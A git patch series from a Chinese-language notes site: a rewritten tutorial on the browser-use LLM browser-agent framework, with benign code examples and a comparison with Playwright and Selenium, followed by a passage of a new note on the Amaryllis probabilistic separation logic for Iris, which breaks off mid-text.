From 0933c5a28370c6d90c168a6d54041d06eaf1150d Mon Sep 17 00:00:00 2001 From: estelledc Date: Sat, 13 Jun 2026 11:17:53 +0800 Subject: [PATCH 01/49] =?UTF-8?q?feat:=20browser-use=20Season=206=20?= =?UTF-8?q?=E9=9B=B6=E5=9F=BA=E7=A1=80=E7=AC=94=E8=AE=B0=E9=87=8D=E5=86=99?= =?UTF-8?q?=EF=BC=88AI=20agent=20=E6=8E=A7=E6=B5=8F=E8=A7=88=E5=99=A8?= =?UTF-8?q?=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 将 browser-use 升级为 Season 6 第 5 篇:日常类比、Agent/Action/规划概念、三则代码示例及 Playwright/Selenium 对比。 Co-authored-by: Cursor --- src/content/docs/projects/browser-use.md | 362 +++++++++++++++++------ 1 file changed, 264 insertions(+), 98 deletions(-) diff --git a/src/content/docs/projects/browser-use.md b/src/content/docs/projects/browser-use.md index 319e8bd34..2a031b8d9 100644 --- a/src/content/docs/projects/browser-use.md +++ b/src/content/docs/projects/browser-use.md @@ -1,166 +1,332 @@ --- -title: browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架 -来源: https://github.com/browser-use/browser-use -日期: 2026-05-29 -子分类: AI agent infra -分类: 机器学习 -难度: 中级 +title: browser-use — 用自然语言让 AI Agent 操控浏览器 +来源: 'https://github.com/browser-use/browser-use' +日期: 2026-06-13 +子分类: AI与自动化 +分类: AI框架 +难度: 高级 provenance: pipeline-v3 +season: 6 --- -## 是什么 +## 日常类比:雇一个会自己查地图的实习生 -browser-use 是一个 **Python 框架**,让大语言模型(LLM)像人一样操作浏览器——点按钮、填表单、抓数据。日常类比:你雇了一个不会读屏幕的助理,所以你先把网页翻译成一份编号清单("1 号是搜索框、2 号是登录按钮、3 号是商品图..."),他报"点 2 号",你替他点。 +想象你要让实习生帮你办一件杂事:「去招聘网站搜 Python 远程岗,把前 5 条标题和薪资抄到表格里」。你不会给他写 47 步操作手册(先点这里、再等 3 秒、再 XPath 那个按钮)。你会**用一句话交代目标**,让他自己打开浏览器、找搜索框、翻页、复制——中间遇到弹窗自己关,找不到就换关键词。 -你写: +**browser-use 干的就是这件事**,只不过「实习生」是大语言模型(LLM),「浏览器」由程序在后台或通过 CDP 驱动。你写 `task="..."`,Agent 循环执行:**看页面 → 想下一步 → 点/填/滚/提取 → 再观察**,直到任务完成或达到步数上限。 + +和 [[playwright]] 手写脚本的区别:Playwright 像你把每一步都录成宏;browser-use 像你把 KPI 交给 agent,它自己规划路径。项目地址:[browser-use/browser-use](https://github.com/browser-use/browser-use),GitHub 约 9.6 万 Stars(2026 年中),MIT 开源,另有 [Browser Use Cloud](https://cloud.browser-use.com) 托管浏览器与反检测能力。 + +--- + +## 解决什么问题 + +### 痛点 1:网页自动化脚本 brittle(一改版就挂) + +传统 [[selenium]] / Playwright 脚本绑死 CSS selector、DOM 结构。产品改个 class 名,CI 全红。browser-use 让 LLM 根据**当前页面的语义描述**(按钮文字、输入框 placeholder、可见元素索引)决策,对小幅 UI 变动更耐受——不是魔法,但少写大量维护 selector 的代码。 + +### 痛点 2:任务描述是自然语言,不是状态机 + +「帮我在这个 SaaS 后台导出上月报表并上传到 Drive」涉及多步、分支、异常(登录过期、二次验证)。手写状态机成本高。browser-use 把**任务规划**交给 LLM:每步从内置 action 集合里选 `click`、`input`、`scroll`、`extract` 等,形成隐式 plan。 + +### 痛点 3:需要「AI 能用的浏览器」,而不只是「人能用的浏览器」 + +纯截图 + 像素点击(Computer Use 路线)通用但贵、慢、易点偏。browser-use 主路线是 **DOM 索引 + 可选 Vision**:把页面压缩成带编号的可交互元素清单喂给模型,token 更省、动作更准;复杂布局再开 `use_vision=True` 补截图理解。 + +### 痛点 4:从原型到生产缺一层基础设施 + +开源库负责 Agent 循环;Cloud 提供 stealth 浏览器、住宅代理、CAPTCHA、会话持久化(cookies/profile)。同一套 `Agent` API 可本地 Chromium,也可接远程 CDP / 云端沙箱。 + +--- + +## 核心概念 + +browser-use 文档把架构拆成三块:**Agent**、**Browser**、**Tools**。理解这三者,就理解「AI 怎么控浏览器」。 + +### 1. Agent — orchestrator(编排者) + +`Agent` 是入口类:持有 `task`(自然语言目标)、`llm`(决策模型)、`browser`(浏览器会话)、`tools`(可调用动作注册表)。 + +执行 `await agent.run(max_steps=100)` 时进入**步进循环**(官方称 step): + +1. **Observe**:Browser 通过 CDP 抓取 DOM、可选截图,序列化成 LLM 可读状态 +2. **Plan / Act**:LLM 输出结构化动作(一次可多个,`max_actions_per_step` 控制上限) +3. **Execute**:Tools 层调用 `click`、`navigate`、`input` 等 +4. **Evaluate**:检查是否达成 task、是否失败需重试(`max_failures`) +5. 未结束则回到 1,直到 `done` 或步数用尽 + +这就是 **task planning**:不是事先写死计划,而是 **ReAct 式** 每步重新规划。可选 `use_thinking=True` 让模型显式写出推理;`flash_mode=True` 跳过部分评估以换速度(适合简单重复任务)。 ```python -from browser_use import Agent, ChatBrowserUse -agent = Agent(task="搜 NeurIPS 2024 前 5 篇论文标题", llm=ChatBrowserUse()) -await agent.run() +# Agent 生命周期里的关键 API(概念示意) +history = await agent.run(max_steps=50) + +if history.is_done(): + print(history.final_result()) # 最终文本结果 + print(history.urls()) # 访问过的 URL + print(history.action_names()) # 执行过的动作名 + +await agent.add_new_task("把结果保存到 notes.txt") # 同会话追加任务 +await agent.stop() # 优雅停止 +await agent.kill() # 强制清理 ``` -agent 自动开浏览器、抽 DOM、喂 LLM、执行动作,循环直到 LLM 说"完成"。截至 2026-05-26,96k stars / 10.7k forks / MIT,主打"让网页对 AI 可访问"。 +### 2. Action / Tools — agent 的「手」 + +**Action** 是 agent 能调用的原子操作。框架内置一整套(导航、点击、输入、滚动、标签页、文件上传、`extract` 用 LLM 抽结构化数据等),注册在默认 `Tools` 里。 -## 为什么重要 +你可以用装饰器扩展 **自定义 action**,例如调内部 API、读 2FA、问人类: -不理解 browser-use 的设计选择,下面这些事都没法解释: +```python +from browser_use import Agent, Tools, ActionResult, BrowserSession + +tools = Tools() + +@tools.action("Ask human for help with a question") +async def ask_human(question: str, browser_session: BrowserSession) -> ActionResult: + # 参数名必须是 browser_session,类型 BrowserSession —— 框架按名注入 + answer = input(f"{question} > ") + return ActionResult(extracted_content=f"The human responded with: {answer}") + +agent = Agent(task="遇到验证码时向人类求助", llm=llm, tools=tools) +``` + +自定义 action 与内置 action 对 LLM 来说都在**同一张工具菜单**里;Pydantic 模型定义参数 schema,减少胡编字段。 -- 为什么 Anthropic Computer Use(让 LLM 看截图点像素)和 browser-use(让 LLM 看 DOM 选编号)是两种完全不同的 agent 路线 -- 为什么"把 HTML 喂给 LLM"听起来简单,真做起来要压缩 95% 才装得进上下文 -- 为什么 LLM agent 项目都长得像(main loop + tool registry + provider 抽象),背后是同一套 reactor pattern -- 为什么 2024-2026 浏览器自动化的明星不是 Playwright 升级版,而是套在 Playwright 之上的"翻译层" +**initial_actions** 是特例:在 LLM 介入**之前**确定性执行的动作列表(例如先 `navigate` 到登录页、注入 cookie),格式 `[{"navigate": {"url": "https://..."}}]`,不消耗 LLM 步数做「已知路径」。 -## 核心要点 +### 3. Task Planning — 从一句话到多步执行 -browser-use 的设计可以拆成 **三条**: +| 层次 | 谁负责 | 例子 | +|------|--------|------| +| 任务(Task) | 你 | `"在 HN 找 AI 相关热度最高的帖子"` | +| 计划(Plan) | LLM 每步更新 | 「先 navigate → 搜索 → scroll → click 第 3 条 → extract」 | +| 动作(Action) | Tools 执行 | `click(index=7)`, `input(text="AI", index=2)` | +| 状态(State) | Browser | 当前 URL、DOM 索引表、标签页、下载文件 | -1. **DOM 索引而非像素**:不让 LLM 输出 `(x=456, y=312)`,而是输出"点 2 号元素"。类比:跟服务员点菜不报"右下角第三盘",而是说"3 号套餐"。网页改版 selector 还在、像素全错——容错率差一个数量级。 +规划质量取决于:**task 是否具体**、**LLM 能力**、**max_steps / max_failures**、**是否开 vision**。生产上常配合 `output_model_schema`(Pydantic 模型)约束最终输出为 JSON,便于下游 pipeline 消费。 -2. **每步压缩成清单 + tool 调用**:DOM service 把整页几十万 token 压缩到 5k token 的 indexed 列表(`[1] [2] -[3] News -... -[hidden] 12 elements below viewport, scroll 2 pages +```python +import asyncio +from browser_use import Agent, Browser, ChatBrowserUse, Tools, ActionResult, BrowserSession + +tools = Tools() + +@tools.action("Save text snippet to local file") +async def save_snippet(content: str, filename: str, browser_session: BrowserSession) -> ActionResult: + path = f"/tmp/{filename}" + with open(path, "w", encoding="utf-8") as f: + f.write(content) + return ActionResult(extracted_content=f"Saved to {path}") + +async def main(): + browser = Browser( + headless=False, + window_size={"width": 1280, "height": 720}, + minimum_wait_page_load_time=1.0, + ) + + agent = Agent( + task="在已打开的页面上找到关于 LLM 的教程,提取标题和摘要,调用 save_snippet 存成 summary.txt", + llm=ChatBrowserUse(), + browser=browser, + tools=tools, + use_vision=True, # 布局复杂时结合截图 + max_actions_per_step=5, # 一步内可连续填多个表单字段 + initial_actions=[ + {"navigate": {"url": "https://news.ycombinator.com"}}, + ], + ) + + history = await agent.run(max_steps=40) + for step in history.model_thoughts(): + print(step) # 可选:查看每步推理 + +if __name__ == "__main__": + asyncio.run(main()) ``` -**逐部分解释**: +要点:`initial_actions` 负责「开场确定性导航」;`tools` 把文件 IO 等 LLM 不擅长的活交给 Python;`use_vision` 在 DOM 索引不够时补视觉理解。 -- 编号 `[1] [2] ...` 是框架重新分配的,对 LLM 稳定(即使 DOM 顺序变化也保留映射) -- 标签后是 role / placeholder / 可见文本——足够 LLM 选目标 -- viewport 外的元素只给"个数 + 滚动距离"hint,省 token -- 整页几十万 token → 5k token,**压缩比 95%+** +--- -### 案例 3:注册自定义动作 +## 示例 3:结构化输出(对接下游系统) ```python -from browser_use import Controller from pydantic import BaseModel +from browser_use import Agent, ChatBrowserUse -controller = Controller() +class JobPosting(BaseModel): + title: str + company: str + salary_range: str | None = None + url: str + +class JobList(BaseModel): + jobs: list[JobPosting] + +async def scrape_jobs(): + agent = Agent( + task="搜索 remote Python developer 岗位,收集前 3 条有效招聘信息的标题、公司、薪资(若有)、链接", + llm=ChatBrowserUse(), + output_model_schema=JobList, + ) + history = await agent.run(max_steps=50) + if history.is_successful(): + # final_result 经 Pydantic 校验 + data = JobList.model_validate_json(history.final_result()) + for job in data.jobs: + print(job.title, job.company) +``` -class HighlightParams(BaseModel): - index: int +这比解析自由文本稳定,适合 ETL、RPA 入库。 -@controller.action("Highlight an element by index", param_model=HighlightParams) -async def highlight(params: HighlightParams, browser_session): - js = f"document.querySelectorAll('*')[{params.index}].style.outline='3px solid red'" - await browser_session.execute_script(js) -``` +--- + +## 与 Playwright / Selenium 对比 + +| 维度 | Playwright | Selenium | browser-use | +|------|------------|----------|-------------| +| **控制方式** | 你写代码逐步操作 | 你写代码逐步操作 | 你写**任务**,LLM 逐步决策 | +| **选择器** | 手写 locator,精确可控 | 手写 locator,生态老 | DOM 索引 + 语义,少维护 selector | +| **协议** | CDP / 自有驱动 | WebDriver(W3C) | 主要 CDP;Cloud 可接 Playwright/Puppeteer/Selenium 远程 | +| **规划** | 无(除非自己接 LLM) | 无 | 内置 task planning 循环 | +| **成本** | 仅机器时间 | 仅机器时间 | 机器 + **每步 LLM token** | +| **确定性** | 高,可重复 | 中高 | 中,需 max_steps、schema、initial_actions 约束 | +| **适用** | E2E 测试、已知流程 RPA | 遗留 WebDriver 栈 | 探索性抓取、多变 UI、agent 产品原型 | + +**关系不是替代,是分层**: + +- **Selenium**:最老牌,WebDriver 抽象;慢、 flaky 相对多,但在 Java/遗留 CI 里仍常见。browser-use **不依赖** Selenium WebDriver;Cloud 文档提到可通过 CDP 让 Selenium 连到 stealth 浏览器,那是托管层能力,不是开源 agent 默认路径。 +- **Playwright**:现代 E2E 首选,API 干净、自动等待。browser-use 与它**互补**:Actor API 提供 Playwright 风格操作;agent 层负责「看懂页面并决定点哪」。固定回归测试仍应 Playwright;「帮我订一张最便宜的机票」类任务更适合 browser-use。 +- **browser-use**:在浏览器之上加 **LLM + Tools + 步进循环**,把「脚本作者」换成「任务描述者」。代价是 latency 和 token 账单;收益是开发速度和 UI 变更容忍度。 -一次注册之后,LLM 工具菜单里就有 `highlight(index=int)`,自动学会调用。**Pydantic 模型 = LLM tool schema**——这是整个项目最巧的复用。 +一句话:**Playwright/Selenium 是方向盘;browser-use 是告诉司机「去机场」**。 -## 踩过的坑 +--- + +## 内置 Action 速览(Tools 默认菜单) + +官方内置动作按类划分,LLM 从中挑选组合成 plan: + +- **导航**:`search`(DuckDuckGo/Google/Bing)、`navigate`、`go_back`、`wait` +- **交互**:`click`、`input`、`upload_file`、`scroll`、`find_text`、`send_keys` +- **内容**:`extract`(LLM 辅助结构化抽取) +- **标签页 / JS**:多 tab 管理、`evaluate` 执行脚本 +- **完成**:任务结束标记与结果汇总 + +完整列表见 [Tools 文档](https://docs.browser-use.com/customize/tools/basics)。 + +--- + +## 配置旋钮(生产必看) -1. **DOM 路线在 Canvas / WebGL 站点失效**:Figma / Excalidraw 的"按钮"不是 DOM 元素,索引为空,LLM 看不见。fallback 到 vision 模式(传截图)只是补丁。 -2. **每步重建 CDP 连接**:源码里有 TODO 写明每步握手 50-200ms,500 步累计 30-100s 纯握手开销。性能敏感场景要打 patch。 -3. **`max_steps=500` 默认偏大**:典型任务 20 步内完成,500 是为应对极端 case。失控时一次任务能烧 2.5M token(约 $7-15 一次)。生产用建议收紧到 30-50。 -4. **scroll hint 不保证 LLM 走对距离**:「下方还有 12 个隐藏元素 / scroll 2 pages」LLM 经常多滚一次或少滚一次。token 经济和控制精度永远在打架。 +| 参数 | 作用 | +|------|------| +| `max_steps` | 总步数上限,默认偏大;生产建议 30–50 先试 | +| `max_failures` | 单步失败重试次数 | +| `max_actions_per_step` | 一步内连续动作数(填表场景可加大) | +| `use_vision` | `True` / `False` / `"auto"` — token vs 准确度 | +| `flash_mode` | 跳过部分推理,快但只适合简单任务 | +| `sensitive_data` | 占位符注入密码,避免进 prompt 明文 | +| `page_extraction_llm` | 单独用小模型做 extract,省主 LLM 成本 | -## 适用 vs 不适用场景 +Cloud 侧另有 profile(持久登录)、代理、stealth、MCP Server(给 Cursor/Claude 接浏览器工具)。 + +--- + +## 适用 vs 不适用 **适用**: -- 让 LLM 抓网页数据 / 填表 / 做电商比价 -- 标准 HTML 网站(电商 / 新闻 / SaaS dashboard) -- LLM provider 要可换——原生支持 Anthropic / OpenAI / Gemini / Ollama 本地模型 -- 调试需求大——"看 LLM 在页面上点哪里"对 production agent 是刚需 +- 快速验证「AI 能否帮用户完成这个网页流程」 +- 结构多变的数据采集、竞品监控、内部运营自动化 +- 需要 **human-in-the-loop**(自定义 `ask_human` action) +- 与 [[mcp-ts-sdk]] / OpenClaw 等 agent 栈集成(官方有 MCP 与集成教程) **不适用**: -- Canvas / WebGL / 复杂 React Server Component(Figma / Excalidraw / 游戏化 UI) -- 已知 selector + 不需要 LLM 决策——直接 [[playwright]] 更省成本 -- desktop app / OS 层任务——用 Anthropic Computer Use -- 高频 agent(每秒一步以上)——CDP 重连开销吃不消 - -## 历史小故事(可跳过) +- 毫秒级高频、步步确定的 CI E2E → 用 [[playwright]] +- Canvas / 重度 WebGL UI(DOM 索引为空)→ 需 vision 或换 Computer Use 路线 +- 零 LLM 预算、完全离线 → 传统 RPA +- 强合规审计要求逐步可追溯且**无 LLM 随机性** → 手写脚本 + 快照更合适 -- **2024 年初**:Magnus Müller 在 ETH Zurich 黑客松上写第一版,目标是"让 GPT 自动填学校选课表"。 -- **2024 年底**:开源后两个月窜到 30k stars,成为 LLM agent infra 标杆。 -- **2025 年**:进入 Y Combinator W25 batch,公司化,主打 cloud sandbox + 1000+ 集成。 -- **2026 年 5 月**:v0.12.9,96k stars,加入 vision 模式(双轨:DOM + 截图),承认单 DOM 路线在某些站点不够。 +--- -→ 知道这个时间线才理解 browser-use 不是研究院产品,是"黑客松到 YC 公司"的快速迭代产物——基因决定它代码风格务实大于优雅。 +## 踩坑备忘 -## 学到什么 +1. **自定义 tool 参数必须叫 `browser_session`**,类型 `BrowserSession`,否则注入失败且难排查。 +2. **task 越模糊,plan 越飘**——写清输出格式、站点、语言、步数预期。 +3. **token 账单**:复杂站点 + vision + 高 max_steps 单次可至美元级;先用小步数试跑。 +4. **本地 vs Cloud**:反 bot、登录态、IP 地域问题在本地 Chromium 上很常见,生产常迁 Cloud stealth + profile。 +5. **DOM 索引路线**在 Shadow DOM、跨 iframe 极深场景仍可能漏元素;开 vision 或 `initial_actions` 缩小范围。 -- **DOM 索引 vs 像素坐标**是 LLM 浏览器自动化的两条主路线,前者更精、后者更通用 -- **Pydantic Union schema + tool calling** 是把任意 Python 函数喂给 LLM 的通用模板,任何 agent 项目都能抄 -- **三阶段 step(prepare / action / execute / post)** 是 reactor pattern 在 agent 上的标准翻译 -- **token 经济 vs 控制精度**永远在打架——viewport_threshold / max_actions_per_step / max_steps 都是这场博弈的旋钮 +--- ## 延伸阅读 -- [browser-use 官方文档](https://docs.browser-use.com/) —— 安装、参数、cloud 入门 -- [Pydantic 文档](https://docs.pydantic.dev/) —— Union 类型 + tool schema 生成的底层依赖 -- [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) —— 底层操作浏览器的协议 -- [Anthropic Computer Use 介绍](https://www.anthropic.com/news/3-5-models-and-computer-use) —— 哲学不同的对手路线 -- [[playwright]] —— 执行后端的零基础解读 -- [[stagehand]] —— 同流派 TS 实现 +- [Browser Use 开源文档](https://docs.browser-use.com/) — Agent / Browser / Tools 完整参数 +- [llms.txt 索引](https://docs.browser-use.com/llms.txt) — 给 AI 读的全站目录 +- [Browser Use Cloud Quickstart](https://docs.browser-use.com/cloud/quickstart) — 托管浏览器与 API v3 +- [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) — 底层协议 +- [[stagehand]] — TypeScript 侧「Playwright + LLM」同类方案 +- [[playwright]] — 确定性浏览器自动化基座 +- [[midscene]] — 偏视觉 + 自然语言的中文社区方案 + +--- ## 关联 -- [[playwright]] —— 浏览器自动化 SDK,browser-use 在它之上加 LLM agent 层 -- [[stagehand]] —— TS 版同类框架,思路相似但绑定 Playwright Page API -- [[midscene]] —— 中文社区类似产品,更偏视觉路线(截图 + LLM) -- [[nanobrowser]] —— Chrome 扩展形态的 LLM agent,部署模式不同 -- [[steel-browser]] —— 给 LLM agent 用的远程浏览器云 -- [[mcp-ts-sdk]] —— browser-use 也通过 MCP 协议把自己暴露给其他 agent -- [[vercel-ai]] —— LLM provider 抽象的另一个流派(TS 生态) +- [[playwright]] — browser-use 执行层与 Actor API 的精神兄弟;测试仍选 Playwright +- [[selenium]] — WebDriver 老栈;与 browser-use 的 CDP 主路径不同 +- [[stagehand]] — TS 生态的 LLM 浏览器自动化 +- [[steel-browser]] — 远程 Chromium,常与本类 agent 搭配 +- [[nanobrowser]] — Chrome 扩展形态的 agent,部署模型不同 +- [[mcp-ts-sdk]] — browser-use Cloud 提供 MCP,可接入 Cursor 等 +- [[vercel-ai]] — 另一条 LLM 应用抽象(偏 TS 对话,非浏览器专用) ## 反向链接 From 57433786b40f1bd4256a54d91be6b54c5197d50d Mon Sep 17 00:00:00 2001 From: estelledc Date: Sat, 13 Jun 2026 12:27:06 +0800 Subject: [PATCH 02/49] =?UTF-8?q?feat:=20pipeline=20v3=20=E6=89=B9?= =?UTF-8?q?=E9=87=8F=E6=96=B0=E5=A2=9E=20papers=20=E9=9B=B6=E5=9F=BA?= =?UTF-8?q?=E7=A1=80=E7=AC=94=E8=AE=B0=EF=BC=88=E7=AC=AC=201=20=E8=BD=AE?= =?UTF-8?q?=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 补齐 KV 缓存、Agent、数据库与系统方向约 33 篇 pipeline-v3 笔记,便于 atlas 按主题检索。 Co-authored-by: Cursor --- .../papers/amaryllis-probabilistic-iris.md | 270 +++++++++++ src/content/docs/papers/bijou64-varint.md | 273 +++++++++++ src/content/docs/papers/bw-tree.md | 337 +++++++++++++ .../docs/papers/cci-agent-scaffolding.md | 455 ++++++++++++++++++ .../papers/columnar-storage-formats-2023.md | 334 +++++++++++++ .../papers/compiler-perf-left-on-table.md | 325 +++++++++++++ .../papers/crossover-context-multi-agent.md | 439 +++++++++++++++++ .../docs/papers/fastlanes-compression.md | 329 +++++++++++++ .../papers/first-class-refinement-scala.md | 285 +++++++++++ src/content/docs/papers/hekaton.md | 320 ++++++++++++ .../papers/hexagent-agentic-scheduling.md | 426 ++++++++++++++++ src/content/docs/papers/kv-fold.md | 356 ++++++++++++++ src/content/docs/papers/lakehouse-2021.md | 284 +++++++++++ src/content/docs/papers/lfm2-5-8b-a1b-moe.md | 300 ++++++++++++ .../docs/papers/llm-serving-needs-math.md | 377 +++++++++++++++ .../docs/papers/llmsurgeon-data-mixture.md | 426 ++++++++++++++++ src/content/docs/papers/mcp-is-dead-debate.md | 313 ++++++++++++ .../docs/papers/memory-tool-use-agents.md | 363 ++++++++++++++ src/content/docs/papers/nestedkv.md | 345 +++++++++++++ src/content/docs/papers/oltp-looking-glass.md | 288 +++++++++++ src/content/docs/papers/oscar-int2-kv.md | 341 +++++++++++++ src/content/docs/papers/qwen-vla.md | 435 +++++++++++++++++ src/content/docs/papers/rendering-diffs.md | 278 +++++++++++ .../papers/spec-agent-separation-logic.md | 195 ++++++++ .../docs/papers/sqlite-durable-workflows.md | 445 +++++++++++++++++ .../docs/papers/storm-multi-agent-state.md | 425 ++++++++++++++++ src/content/docs/papers/triaxialkv.md | 422 ++++++++++++++++ src/content/docs/papers/tutti-ssd-kv-cache.md | 282 +++++++++++ src/content/docs/papers/vericache.md | 292 +++++++++++ src/content/docs/papers/vibeserve.md | 314 ++++++++++++ src/content/docs/papers/visualthink-vla.md | 351 ++++++++++++++ src/content/docs/papers/wisckey.md | 376 +++++++++++++++ src/content/docs/papers/yocto-alternatives.md | 320 ++++++++++++ 33 files changed, 11321 insertions(+) create mode 100644 src/content/docs/papers/amaryllis-probabilistic-iris.md create mode 100644 src/content/docs/papers/bijou64-varint.md create mode 100644 src/content/docs/papers/bw-tree.md create mode 100644 src/content/docs/papers/cci-agent-scaffolding.md create mode 100644 src/content/docs/papers/columnar-storage-formats-2023.md create mode 100644 src/content/docs/papers/compiler-perf-left-on-table.md create mode 100644 src/content/docs/papers/crossover-context-multi-agent.md create mode 100644 src/content/docs/papers/fastlanes-compression.md create mode 100644 src/content/docs/papers/first-class-refinement-scala.md create mode 100644 src/content/docs/papers/hekaton.md create mode 100644 src/content/docs/papers/hexagent-agentic-scheduling.md create mode 100644 src/content/docs/papers/kv-fold.md create mode 100644 src/content/docs/papers/lakehouse-2021.md create mode 100644 src/content/docs/papers/lfm2-5-8b-a1b-moe.md create mode 100644 src/content/docs/papers/llm-serving-needs-math.md create mode 100644 src/content/docs/papers/llmsurgeon-data-mixture.md create mode 100644 src/content/docs/papers/mcp-is-dead-debate.md create mode 100644 src/content/docs/papers/memory-tool-use-agents.md create mode 100644 src/content/docs/papers/nestedkv.md create mode 100644 src/content/docs/papers/oltp-looking-glass.md create mode 100644 src/content/docs/papers/oscar-int2-kv.md create mode 100644 src/content/docs/papers/qwen-vla.md create mode 100644 src/content/docs/papers/rendering-diffs.md create mode 100644 src/content/docs/papers/spec-agent-separation-logic.md create mode 100644 src/content/docs/papers/sqlite-durable-workflows.md create mode 100644 src/content/docs/papers/storm-multi-agent-state.md create mode 100644 src/content/docs/papers/triaxialkv.md create mode 100644 src/content/docs/papers/tutti-ssd-kv-cache.md create mode 100644 src/content/docs/papers/vericache.md create mode 100644 src/content/docs/papers/vibeserve.md create mode 100644 src/content/docs/papers/visualthink-vla.md create mode 100644 src/content/docs/papers/wisckey.md create mode 100644 src/content/docs/papers/yocto-alternatives.md diff --git a/src/content/docs/papers/amaryllis-probabilistic-iris.md b/src/content/docs/papers/amaryllis-probabilistic-iris.md new file mode 100644 index 000000000..8c3e83de2 --- /dev/null +++ b/src/content/docs/papers/amaryllis-probabilistic-iris.md @@ -0,0 +1,270 @@ +--- +title: First Steps Towards Probabilistic Iris (Amaryllis) +来源: 'Janine Lohse, Tim Rohde, Jimmy Xin, Niklas Mück, Iona Kuhn, Derek Dreyer, Deepak Garg, Emanuele D''Osualdo, "First Steps Towards Probabilistic Iris: Harmonizing Independence, Conditioning, and Dynamic Heap Allocation", arXiv:2605.13765, MPI-SWS / CISPA / Konstanz, 2026' +日期: 2026-06-13 +子分类: 形式化验证 +分类: 形式化方法 +provenance: pipeline-v3 +--- + +## 是什么 + +**Amaryllis** 是走向 **Probabilistic Iris** 的第一块正式基石:一个在 **Iris 分离逻辑框架** 上构建的 **通用概率程序逻辑(GPL, General-Purpose Probabilistic Logic)**,同时支持: + +- 对程序状态上的 **概率分布** 做原生断言(而不只是误差界、期望复杂度等「专用性质」); +- **独立性** 与 **条件化(conditioning)** 的模块化推理; +- **动态堆分配** 与 Iris 风格的 **资源代数(resource algebra)** 所有权。 + +日常类比:想象你在管理一家 **连锁便利店**,每个门店的货架布局可以随总部掷硬币而变(今天多开一个冷藏柜,明天没有)。老式的「全国库存台账」要求:不管哪个随机分支,**A 区货架编号集合** 与 **B 区货架编号集合** 永远不能重叠——一旦某个分支里 A、B 恰好用了相邻编号,整本账就对不上。Amaryllis 换了一本 **按随机分支分页的台账**:每一页(每个硬币结果)里,A、B 的货架仍然 **两两不交**;不同页之间编号可以不同。这样既能说「这两个货位上的商品是独立硬币决定的」,又能在「有时多分配一个货位」的程序里证明 **动态 malloc** 的规格。 + +论文全部结果已在 **Rocq**(原 Coq)中机械化,并提供 Iris 风格的 proof mode;代码见 [gitlab.mpi-sws.org/FP/amaryllis](https://gitlab.mpi-sws.org/FP/amaryllis)。 + +## 为什么重要 + +近几年概率分离逻辑分成两条线,长期 **各取所长、互不兼得**: + +| 类型 | 代表 | 强项 | 弱项 | +|------|------|------|------| +| **SPL**(专用概率逻辑) | Eris、ExpIris、Coneris、Clutch-DP | 建在 Iris 上,支持高阶状态、并发、ghost state | 原生断言是误差积分、期望代价等,不直接谈「分布上的独立/条件」 | +| **GPL**(通用概率逻辑) | PSL、Lilac、Bluebell、pcOL | `*` 表示独立,模态表示条件化,推理模块化 | **不支持动态堆**;多数未在证明助手中完整形式化 | + +Amaryllis 第一次让 GPL 的三板斧——**独立 = 分离合取**、**条件化模态**、**Frame 规则**——与 **指针堆上的 `ℓ ↦ v`** 共存。不理解它,很难解释: + +- 为什么 Lilac 只能做 **不可变** 状态(frame 会「记住太多随机信息」); +- 为什么「全局要求堆区域不交」会在 `ref (flip())` 这类程序上 **语义上证不出** 两个独立硬币; +- Iris 的 **frame-preserving update**、**authoritative RA**、**wp 模态** 在概率下要改成什么才 sound。 + +## 核心概念 + +### 1. GPL 的判断形式 + +GPL 的 Hoare 三元组形如 `{P} e {V. Q(V)}`: + +- `e` 的语义:输入 **状态分布** → 输出 **(状态, 返回值)** 的联合分布; +- `P`、`Q` 是 **分布级断言**,不是单个确定性状态; +- `V` 是代表返回值的 **随机变量**。 + +例:`{X ~ Ber(1/2)} e {V. V ~ Ber(1/2)}` 表示:若初始时 `X` 是公平硬币,则 `e` 的返回值也是公平硬币(可能还依赖 `X`,此处未要求独立)。 + +### 2. 独立即分离(Independence as Separation) + +PSL 的关键洞见:`P * Q` 不仅说 `P` 和 `Q` 各自成立,还说它们描述的随机量 **独立**,且联合概率是边际概率的乘积。 + +例:`X ~ Ber(1/2) * Y ~ Ber(1/2)` ⇒ 看到 `(X,Y)=(v,w)` 的概率 = P(X=v)·P(Y=w)。 + +由此得到熟悉的 **Frame 规则**:证明 `{P} e {V. Q(V)}` 后,可在前置中「挂上」与 `e` 无关的独立资源 `R`,得到 `{P * R} e {V. Q(V) * R}`,无需重证 `e`。 + +### 3. 条件化模态(Conditioning Modality) + +仅有 Frame 不够。若已知 `{⌜ℓ ↦ b⌝} f(ℓ) {⌜ℓ ↦ ¬b⌝}`(对 `b∈{0,1}` 逐分支成立),想推出 `{ℓ ↝ Ber(1/2)} f(ℓ) {ℓ ↝ Ber(1/2)}`,需要把两个分支 **按 1/2 混合**——这是 **outcome locality**。 + +Lilac 用 **条件化模态** `C_{x←μ} P(x)` 表达:存在分布为 `μ` 的隐变量 `X`,使得对每个 `v∈supp(μ)`,在 **条件分布** `·|_{X=v}` 下 `P(v)` 成立。混合断言 `P ⊕_q Q` 可视为 `C_{b←Ber(q)} ⌜…⌝` 的特例。 + +Amaryllis 直接沿用这一思路,并证明 **条件化与 wp/update 可交换**(在加强的 frame 意义下)。 + +### 4. 动态分配的根本障碍 + +旧 GPL 模型里,`μ ⊨ P * Q` 往往要求:存在 **全局固定** 的不相交位置集合 `L₁,L₂`,使得整个分布上 `P` 只碰 `L₁`、`Q` 只碰 `L₂`。 + +考虑论文中的程序 `dfl`(概念见下文代码示例): + +- 第一次 `flip` 为 0:堆上先 `ref 0`,再 `ref flip`、`ref flip`,两指针可能是 `(0x0, 0x1)`; +- 第一次 `flip` 为 1:多一次分配,两指针可能是 `(0x1, 0x2)`。 + +**在任意一次执行里**,两个返回指针都不同;但 **把所有随机结果摊在一起看**,`X` 可能取到的地址集合 `{0x0,0x1}` 与 `Y` 的 `{0x1,0x2}` 在 `0x1` 上 **相交**。旧模型因此 **无法** 证明后置「`X`、`Y` 各持独立公平硬币且堆块分离」——这不是证明技巧问题,是 **语义定义** 的问题。 + +Bluebell 用 fractional permission 部分缓解,但针对 **静态** 变量 store,且 Frame 带重 side condition,模块化受损。 + +### 5. Indexed Valuation:按结果分支的分离 + +Amaryllis 的解法是 **indexed 